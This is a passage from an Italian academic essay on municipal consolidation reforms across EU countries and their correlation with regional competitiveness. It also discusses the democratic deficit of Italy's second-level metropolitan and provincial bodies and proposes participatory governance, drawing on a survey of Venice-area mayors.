In questo contributo cercherò di trovare alcune risposte a questi quesiti, partendo dall’analisi comparata di alcuni dati empirici che consentono di mettere in luce la stretta relazione tra la “competitività regionale” e le riforme di riordino istituzionale che hanno interessato i Paesi dell’Unione Europea negli ultimi trent’anni. Questo se, da un lato,  consentirà di individuare nelle riforme di riordino istituzionale uno dei principali fattori di sviluppo territoriale, dall’altro consentirà di mettere in luce alcuni aspetti critici che caratterizzano gli enti di governo di area vasta quali enti di secondo livello, come le città metropolitane e le province, chiamati da un lato a governare realtà policentriche, sperimentando forme innovative di governance “a rete”, ma dall’altro indebolite sul piano istituzionale dal fatto di essere enti di secondo livello e quindi caratterizzati da un deficit democratico che deve essere colmato.

2. Competitività regionale e riforme per il riordino territoriale: una correlazione importante

Come è stato sottolineato dalle ricerche sul tema (Corò, Dalla Torre 2015; Pichierri 2002; Trigilia 2005), nel contesto dell’economia globalizzata la competitività tra imprese diventa ora competitività tra territori. La competitività di un sistema produttivo dipende sempre più dal modo di regolazione con cui vengono prodotti i “beni collettivi per la competitività” entro quel dato contesto (Crouch et al. 2001; Messina 2012). Si tratta di beni e servizi costituiti da infrastrutture fisiche, ma anche immateriali, come la formazione di capitale umano qualificato, di servizi alle imprese e alle persone, di welfare locale che rendono un territorio attrattivo per la sua qualità della vita. Queste dinamiche richiedono profondi cambiamenti anche degli assetti istituzionali che attengono al governo dei processi di sviluppo, poiché anche l’efficienza della rete di servizi, alle persone e alle imprese, l’innovazione istituzionale della pubblica amministrazione e la qualità del governo nel suo complesso, diventano fattori di sviluppo cruciali.

Il concetto di “competitività regionale” e una sua definizione operativa risulta essere a questo riguardo di particolare interesse. Nel contesto dell’UE questo tema è stato oggetto di uno studio comparato, fatto proprio dalla Commissione europea (Annoni, Dijkstra 2013), che ha consentito di elaborare una definizione operativa di competitività regionale che può costituire nel nostro caso una rilevante base di riferimento.

L’indice europeo di competitività regionale (RCI) non è una semplice misurazione della produttività o della ricchezza in termini esclusivamente economici. Esso è stato costruito infatti a partire da un’accurata batteria di indicatori che fanno riferimento a una pluralità di dimensioni: dal quadro istituzionale a quello macro-economico; dalle infrastrutture alla qualità della salute; dall'istruzione alla capacità innovativa dei talenti, agli investimenti delle imprese. Di particolare rilevanza sono gli indicatori di rendimento istituzionale[1] e dell’innovazione dal punto di vista del governo del territorio e della capacità attrattività delle risorse per lo sviluppo, che sulla base dei dati raccolti, risultano essere il punto più debole per la competitività delle regioni italiane.

La fig. 1 mostra come le regioni europee che risultano essere oggi più competitive siano infatti le regioni dell’Europa continentale della Germania, Paesi Bassi, Inghilterra e Paesi scandinavi, mentre le regioni più in difficoltà sono le regioni del Mediterraneo e dell’Est europeo.

 

Fig. 1 Regioni dell’UE. Indice di competitività regionale (RCI) 2013.

figura_11

Fonte: Joint Research Centre and DG for Regional and Urban Policy, 2013.

 

Tutte le regioni italiane mostrano criticità, non solo del Sud, ma anche del Centro e del Nord, a cominciare dalla Lombardia, la nostra regione leader, che si classifica appena al 139° posto su 262 regioni europee, scivolando di ben 41 posizioni rispetto alla graduatoria stilata tre anni prima. Il Veneto si classifica al 169° posto, sempre più lontano dalle regioni europee con cui generalmente si confronta, come la Baviera (21°) e il Baden-Wurttemberg (27°), o Utrecht, in Olanda, prima regione classificata. Gli indicatori dell’RCI non lasciano dubbi: anche le regioni più ricche del Nord Italia, che mostrano buone performance nel campo della qualità della salute (44° posto per il Veneto) e mantengono in una posizione intermedia per le condizioni del mercato del lavoro, la diffusione dell'innovazione e i servizi alle imprese, peggiorano decisamente per incidenza di laureati sulla popolazione e dotazioni tecnologiche nelle famiglie e nelle imprese. Ma le performance peggiori si hanno, appunto, quando si passa alla qualità delle istituzioni e al quadro macro-economico, dove il peso del sistema-Paese (alto debito pubblico, carico fiscale, burocrazia, corruzione, litigiosità politica) incide inevitabilmente anche sul livello regionale.

Per tutte le regioni italiane, quindi, due sono le priorità verso cui bisogna rivolgere l’attenzione per migliorare la competitività regionale: da un lato si tratta di investire in modo molto più convinto sull'istruzione superiore e l'Università, per rafforzare le componenti necessarie ad inserirsi da protagonisti nelle dinamiche produttive della società della conoscenza; dall'altro bisogna recuperare margini di autonomia nel governo dello sviluppo, spostando l'attenzione dalle infrastrutture pesanti a quelle leggere, come la ricerca industriale, la banda larga, la cultura, l’efficienza della giustizia, la sburocratizzazione, il governo metropolitano. Senza un profondo rinnovamento dell'assetto politico e istituzionale sarà difficile migliorare la competizione dei territori e, di conseguenza, frenare il peggioramento delle condizioni economiche del Paese.

Nel contesto dell’economia globale assumono quindi una particolare rilevanza gli assetti istituzionali del governo del territorio e, in particolare, le riforme che mirano al riordino territoriale con l’obiettivo di definire istituzioni di governo locale e pratiche di governance adeguate a rispondere a queste nuove sfide. Diventa interessante pertanto confrontare i dati sulla competitività regionale con quelli relativi alla riduzione del numero dei Comuni nei diversi Paesi dell’UE in seguito alle riforme istituzionali avviate nei rispettivi paesi (Tab.1).

Da questo confronto si può rilevare infatti, in primo luogo, che le regioni che presentano una maggiore competitività, sono state al tempo stesso interessate anche dalle riforme istituzionali di riordino territoriale che hanno consentito una riduzione consistente, in alcuni casi anche molto drastica (Danimarca, Belgio, Germania, Regno Unito, Svezia), del numero dei comuni, e quindi una maggiore capacità delle istituzioni di governo locale di rispondere in modo adeguato alle sfide delle trasformazioni in atto.

 

 

Tab. 1 – Evoluzione del numero di comuni in alcuni paesi dell’Unione Europea 1950-20101

 

Paese

Numero di comuni 1950

Numero

di

comuni

1992

Evoluzione

 numero di

comuni

1950-1992

Numero

di

comuni

2010

Evoluzione

numero di comuni

1992-2010

Milioni di abitanti

2010

 

Densità comunale

2010

(N comuni / mill abitanti)

Regno Unito

2.028

484

– 1.544 (-76%)

406

-78 (-16%)

62,5

6,5

Danimarca

1.387

275

-1.122 (-80%)

98

-177 (-64%)

5,5

17,8

Paesi Bassi

1.015

647

-368 (-36%)

430

-217 (-33%)

16,6

25,9

Portogallo

303

305

+2 (+0,7%)

308

+3 (+0,1%)

10,6

29,1

Grecia

5.959

5.922

– 37 (-0,6%)

325

-5.5972 (-94%)

11,3

28,8

Svezia

2.281

286

– 1.995 (-87%)

290

+4 (+1%)

9,3

31,2

Bulgaria

2.178

255

-1.932 (-88%)

264

+9 (+3%)

7,4

35,7

Belgio

2.669

589

– 2.080 (-78%)

589

10,8

54,5

Finlandia

547

460

– 87 (-16%)

342

-118 (-26%)

5,4

63,3

Italia

7.781

8.100

+ 319 (+4%)

8.094

-6 (-0,1%)

60,3

134,2

Germania3

24.272

8.077 (16.095)

– 16.195 (-67%)

12.104

-3.991 (-49%)

81,8

146,9

Spagna

9.214

8.082

-1.132 (-12%)

8.116

+34 (+0,4%)

46,5

174,5

Media UE27

 

 

 

 

 

 18,5

178,7

Lussemburgo

127

118

-9 (-7%)

105

-13 (-11%)

0,5

210,0

Austria

3.999

2.301

-1.698 (-42%)

2.357

+56 (+2%)

8,4

280,6

Francia

38.814

36.793

– 2.051 (-5%)

36.682

-111 (-0,3%)

64,7

567,0

Rep. Ceca

11.051

6.196

-4.855 (-44%)

6.250

+54 (+0,9%)

10,5

595,2

 

  1.  I paesi sono elencati in ordine crescente sulla base del numero di comuni per milione di abitanti.
  2.  La variazione è frutto di due successive riforme varate, rispettivamente, nel 1998 e nel 2010.
  3.  Per la Germania i dati del 1950, del 1992 e relativa variazione si riferiscono alla ex Germania Ovest. Per il 1992 tra parentesi il numero di comuni della Germania riunificata con cui è calcolata la variazione con quelli del 2010.

Fonte: Bolgherini S., Messina (2014), p. 19.

 

Le fig. 2 e fig. 3 mostrano una evidente correlazione tra i dati di queste due variabili, ma anche interessati differenze, con riferimento soprattutto al caso francese, che richiedono un maggiore approfondimento.

La fig. 2 mostra, da subito, la presenza di una correlazione positiva[2] che, se si esclude il caso del Lussemburgo per ragioni dimensionali (composto solo da 127 comuni), sale a 0,34.

 

Fig. 2 – Relazione tra riduzione del numero di comuni e indice di competitività regionale per 17 Paesi dell’UE

figura_2

Fonte: elaborazione propria su dati Eurostat (2011) e Annoni, Dijkstra (2013)

 

Escludendo inoltre, oltre al Lussemburgo, anche i casi della Bulgaria e della Repubblica Ceca, entrati nell’UE solo nel 2005 e caratterizzati, com’è noto, da un modello di sviluppo ancora marcatamente segnato dalla transizione verso un’economia di mercato, la correlazione diventa ancora più elevata, pari a 0,73.

 

Fig. 3 – Relazione tra riduzione del numero di comuni e indice di competitività regionale per 15 Paesi dell’UE (senza Bulgaria e Repubblica Ceca)

figura_3

Fonte: elaborazione propria su dati Eurostat (2011) e Annoni, Dijkstra (2013)

 

Secondo questi dati, pur con qualche importante eccezione costituita dal caso francese, sembrerebbe possibile definire la tendenza: “Chi ha ridotto il numero di Comuni ha indici di competitività migliori”. I dati emersi da questa prima analisi sembrano mostrare, infatti, che la politica di riduzione del numero dei Comuni possa costituire uno dei fattori rilevanti che hanno promosso lo sviluppo di un territorio. Questo però non vuol dire che vi sia un collegamento diretto e necessario tra la riduzione del numero dei comuni e un efficace governo dell’area vasta e, quindi, una migliore competitività regionale. Il caso francese che, come si è detto, costituisce in questo senso un eccezione, può essere molto istruttivo al riguardo.

La Francia mantiene infatti un RCI positivo pur non avendo ridotto la frammentazione dei Comuni. Tuttavia va notato, a questo riguardo, che se è vero che la Francia non ha diminuito il numero dei comuni, è anche vero che i comuni francesi sono poveri di funzioni e che oltre il 90% del territorio francese è coperto da associazioni di comuni, le quali svolgono le funzioni che in Italia vengono imputate all’ente comunale, indipendentemente dalle sue dimensioni (Marcou 2014). Questa è anche una delle ragioni per cui le associazioni di comuni francesi, in certa misura obbligatorie, si sono potute realizzare con più facilità rispetto al caso italiano: in Francia si trattava di aggiungere funzioni, in Italia di toglierle e spostarle a livello sovralocale.

Più in generale, possiamo affermare pertanto che, più che la riduzione del numero dei comuni (che comunque aiuta), ciò che conta per un’efficace governo dell’area vasta non è tanto la numerosità dei comuni, quanto la capacità di messa in rete attraverso forme associative di tipo cooperativo. Per realizzare questo tipo di riforma a sostegno dell’azione di “messa in rete” dei comuni, è necessario investire sull’attivazione di una cultura istituzionale di tipo cooperativo che non può essere imposta immediatamente per legge da una riforma istituzionale, ma deve essere perseguita da una volontà politica chiara, con incentivi selettivi volti a premiare i comportamenti virtuosi, e questo richiede più tempo e una strategia politica volta a raggiungere con determinazione questo obiettivo.

Più ancora che come indice di efficienza amministrativa, la riduzione del numero dei comuni sembra funzionare quindi piuttosto come proxy della “capacità istituzionale” di governo dell’area vasta. La regola che quindi si può ricavare, più correttamente, da questi dati è: “Chi ha attivato reti di cooperazione intercomunale e ridotto il numero e le funzioni dei singoli comuni, ha indici di competitività migliori”.

La capacità di cooperare tra enti comunali è una variabile correlata sia ad aspetti istituzionali sia alle prassi amministrative e alla cultura istituzionale degli attori: tutti elementi che, come mostrano ancora i dati in esame, sembrano caratterizzare alcuni paesi europei più di altri. L’incrocio dei dati presentanti nella fig.3 mostra infatti una polarizzazione evidente tra i paesi del Nord Europa (Svezia, Danimarca, Belgio, Regno Unito, Germania) con un’alta competitività regionale e un ridotto numero dei comuni o, comunque, una forte capacità cooperativa tra governi comunali, e i paesi dell’Europa mediterranea (Spagna, Portogallo, Italia, Grecia) che presentano nel contempo una bassa competitività regionale, un alto numero dei comuni e anche una maggiore difficoltà a costruire reti cooperative intercomunali. Questa differenza, che può essere spiegata a partire da matrici storiche di antica tradizione, va ricondotta alle diverse conformazioni istituzionali che hanno visto l’affermarsi dei Comuni nell’Europa mediterranea, soprattutto in Italia, fin dal Medioevo (Bobbio 2002). Questa eredità storica delle autonomie locali che permea fortemente non solo le istituzioni e le pratiche di governo locale, ma anche la cultura e le identità locali che le sostengono, costituisce oggi una delle maggiori resistenze al cambiamento con cui bisognerà confrontarsi, se si vogliono effettivamente attivare politiche di potenziamento della competitività regionale nei paesi mediterranei.  

3. Il ruolo strategico del governo di area vasta: tra deficit democratico e pratiche partecipative

Come si è detto, le trasformazioni indotte dal processo di globalizzazione sugli assetti politico-istituzionali degli Stati nazionali stanno producendo impatti sempre più rilevanti sul funzionamento del governo locale, richiedendo forme innovative di governo di “area vasta”.

In Italia, l’introduzione degli enti territoriali di area vasta come enti di secondo livello (Legge Delrio), come la Città metropolitana e le Province, ma anche le Unioni di Comuni per le aree omogenee, eletti e guidati dai sindaci e dai consiglieri dei comuni coinvolti, se da un lato sembra favorire una maggiore sostenibilità istituzionale, cioè maggiore capacità di operare utilizzando risorse endogene (Lanzalaco, 2009), dall'altro, presenta una serie di criticità, dovute alla sostanziale debolezza propria del deficit democratico di cui soffre un ente di secondo livello e, più in generale, alle criticità dovute alle trasformazioni dei legami tra rappresentanza, mandato imperativo e legittimità politica (Bovero, Pazé, 2013).

Essendo infatti questi organismi eletti e guidati non da un rappresentante politico legittimato dal voto popolare, ma da sindaci e consiglieri dei comuni coinvolti, il mandato politico sembra perdere incisività. Questo problema si inserisce nella più generale condizione di “deficit democratico” (Norris, 2011) che interessa la democrazia rappresentativa, cioè, quello “scarto” esistente tra lo spirito, l’efficacia e la capacità di azione delle istituzioni rappresentative e le legittime aspettative dei cittadini, rese più esigenti dall’affermarsi prorompente della società della conoscenza e delle nuove tecnologie.

Queste problematiche dovranno essere prese in adeguata considerazione dagli Statuti delle nuove città metropolitane. Può essere interessante a questo riguardo richiamare i risultati di un'indagine svolta sui sindaci[3] dei comuni della provincia di Venezia (Lan 2015), in relazione alla governance della Città metropolitana Veneziana di cui tutti i comuni della provincia faranno parte. Emergono infatti interessanti differenze per le modalità di elezione del sindaco e del consiglio metropolitano.

Per quanto riguarda l’elezione del sindaco della città metropolitana, il 58,8% degli interessati individua infatti come modalità preferibile quella del suffragio universale; segue l’elezione di secondo livello con il 32,4%, mentre risulta marginale (8,8%) la quota di rispondenti che ritengono che la carica debba rimanere di diritto del Sindaco del Comune di Venezia.

Per l’elezione del Consiglio metropolitano[4] invece il 58,8% degli intervistati ritiene che l’elezione debba avvenire tramite elezione di secondo livello, mentre il 38,2% dichiara di preferire l’elezione a suffragio universale. Residuale, invece, risulta la quota degli intervistati (3,0%) che propone il suffragio universale, ma solo tra i candidati di secondo livello (consiglieri, assessori comunali).

Se l’elezione del sindaco-governatore si auspica che avvenga quindi a suffragio universale, quella dei consiglieri metropolitani si auspica che sia di secondo livello tra i consiglieri e assessori comunali.

A questo riguardo va segnalato, inoltre, che le nuove soluzioni di governance che si prospettano nel governo dell’area vasta, che deve governare non solo i luoghi, ma anche i flussi che l’attraversano,  tendono a svincolare la corrispondenza territoriale (constituency) tra sistema di rappresentanza politica elettiva ed esercizio della cittadinanza attiva: in altre parole, il cittadino elettore che risiede in un comune è sempre più spesso cittadino attivo (dal punto di vista professionale, relazionale, cognitivo) in un altro territorio comunale[5]. In questo modo, la sua partecipazione dinamica alla vita economica, politica, sociale e culturale, legata alla sua mobilità, non coincide più con l’ambito della sua rappresentanza politica, basata sul voto espresso nel collegio elettorale di residenza anagrafica. Ne conseguono preoccupanti effetti sul sistema democratico, non da ultimo il forte astensionismo, che incidono sia sulla sostenibilità istituzionale dei governi comunali (soprattutto se piccoli), sia su quella più complessiva della programmazione dello sviluppo territoriale e della gestione dei servizi pubblici locali, chiamati a servire un bacino di utenza ben più ampio di quello dei soli residenti.

Gli enti di secondo livello, quindi sono presi tra due morse: da un lato, essendo l’ambito territoriale più idoneo a governare le dinamiche che derivano dal rapporto inedito flussi/luoghi, costituiscono un livello di governo di particolare rilevanza strategica, in grado di rafforzare la capacità dei sistemi locali di adattarsi al cambiamento, di essere cioè resilienti e quindi innovativi e sostenibili. Dall’altro, nello stesso tempo, come enti di secondo livello, rischiano di approfondire il deficit democratico e la distanza tra cittadini ed eletti.

La tesi di chi scrive è che questo deficit possa essere opportunamente colmato, non tanto introducendo l’elezione diretta dei rappresentanti (a parte il governatore per ragioni simboliche), che sarebbe ancora fondata sul principio di residenza e quindi di stanzialità, e pertanto inadeguato a intercettare i flussi di “territori mobili” come le aree metropolitane, quanto piuttosto introducendo percorsi di partecipazione pubblica e di democrazia deliberativa, tanto più efficaci quanto più in grado di intercettare i flussi e coinvolgere la popolazione presente sul territorio, attraverso pratiche di cittadinanza attiva.

Tali percorsi di partecipazione pubblica[6] fanno riferimento a tutte «quelle attività che mettono al lavoro contemporaneamente due elementi principali: a) il dialogo tra amministratori e cittadini, che offra a questi l’opportunità di essere presenti ed esprimersi, grazie a una mobilitazione spontanea o stimolata, ma senza essere “selezionati preventivamente” dall’amministrazione; b) l’esistenza di procedure e regole chiare (ancorché numericamente ridotte) per regolare spazi e tempi in cui il dialogo si svolge» (Allegretti, Mattiazzi, 2014, p.17).

Nel caso della Città metropolitana, la concreta possibilità di valorizzare le pratiche di partecipazione pubblica nel governo della città è offerta dallo strumento, previsto dalla Legge Delrio, del Piano strategico[7]. La dimensione strategica di medio-lungo periodo del piano, infatti, da un lato costringe l’amministrazione a guardare oltre i confini della propria organizzazione, relazionandosi con gli stakehorder dello sviluppo dell’area vasta per la condivisione degli obiettivi strategici di sviluppo ma, dall’altro, offre anche l’opportunità di attivare processi partecipativi su singole questioni, in grado di coinvolgere target di popolazione che altrimenti resterebbe esclusa dai processi consultivi e deliberativi, rafforzando il grado di consenso e legittimazione democratica dell’azione politica di governo.

È indubbio che l’introduzione di queste pratiche di partecipazione pubblica che includono nei processi decisionali del governo del territorio target di popolazione non residente debba essere accompagnata anche dall’individuazione di forme adeguate di contribuzione fiscale, per la condivisione anche dei costi, oltre che dei benefici offerti dalle reti di servizi territoriali[8]. Il tema della partecipazione pubblica apre quindi un nuovo scenario di particolare interesse a cui sarà importante dedicare attenzione nel prossimo futuro.

In alcune regioni italiane sono state già introdotte leggi regionali che stimolano la partecipazione dei cittadini alla realizzazione di politiche pubbliche. È questo il caso della Toscana (Legge 46/2013, Dibattito pubblico regionale e promozione della partecipazione alla elaborazione delle politiche regionali e locali) e dell'Emilia Romagna (Legge 3/2010, Norme per la definizione, riordino e promozione delle procedure di consultazione e partecipazione alla elaborazione delle politiche regionali e locali). In entrami i casi, tuttavia, non si fa riferimento alla necessità/ opportunità di legittimare, attraverso le pratiche partecipative, gli enti di secondo livello e non si affrontano, di conseguenza, gli aspetti della fiscalità locale che sarebbero ad essa correlati.

In altre regioni, come nel caso del Veneto, il dibattito sull'introduzione di una normativa che stimoli la partecipazione pubblica è ancora di tipo embrionale, ma il dibattito apertosi con l’attivazione del piano di riordino territoriale (L.r. 18/2012) e con il faticoso avvio della Città metropolitana di Venezia, potrebbe fare del Veneto un caso di particolare interesse per la sperimentazione di questa forma di innovazione istituzionale.

 

 

 

 


Riferimenti bibliografici

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Note

[1] Sulla definizione operativa del concetto di “rendimento istituzionale”, con riferimento alle ricerche di Putnam, Leonardi e Nanetti (1985) che ne hanno proposto una definizione operativa a partire dal caso delle Regioni italiane, sono stati individuati le  seguenti batterie di indicatori: a) funzionamento della gestione politica (stabilità della giunta, rapidità nell’approvazione del bilancio, presenza di servizi statistici, disponibilità dell’apparato burocratico verso il cittadino);  b) contenuto delle decisioni politiche (produzione legislativa, attività di programmazione, legislazione di riforma); capacità di spesa per i servizi alle persone e i servizi alle imprese.

[2] Com’è noto, Indice di correlazione varia tra -1 e 1 dove 0 indica assenza di correlazione, -1 massima correlazione negativa, 1 massima correlazione positiva. Nel nostro caso la correlazione positiva indica che, tanto più elevata è stata la riduzione del numero di comuni, tanto più elevato è l’indice di competitività regionale

[3] L’indagine Lan, svolta per conto della CISL di Venezia, è stata realizzata su tutta la popolazione dei 44 sindaci dei comuni della provincia di Venezia, a cui hanno risposto 34 sindaci, con un tasso di redemption del 77,3%.

[4] Secondo la normativa nazionale, il Consiglio metropolitano deve essere costituito da 18 membri eletti in 2° grado dai sindaci e i consiglieri comunali di tutti i Comuni dell’attuale provincia di Venezia.

[5] Si pensi ad esempio ai flussi pendolari e ai Sistemi Locali del Lavoro dell’ISTAT, costruiti sulla base degli spostamenti giornalieri casa-lavoro (Sforzi 1997), sulla base dei quali potrebbero essere definite le aree vaste.

[6] Per alcuni esempi concreti di "Famiglie di percorsi partecipativi", si rimanda ad Allegretti, Mattiazzi (2014), p. 20-22.

[7] Si veda il saggio di Adriana Vigneri in questo volume. Sull’area metropolitana si veda anche Vigneri (2014).

[8] Si pensi al ruolo strategico svolto in questo senso dalle reti di multiutilities per la gestione dei servizi pubblici locali, cfr. Citroni, Lippi, Profeti (2012).


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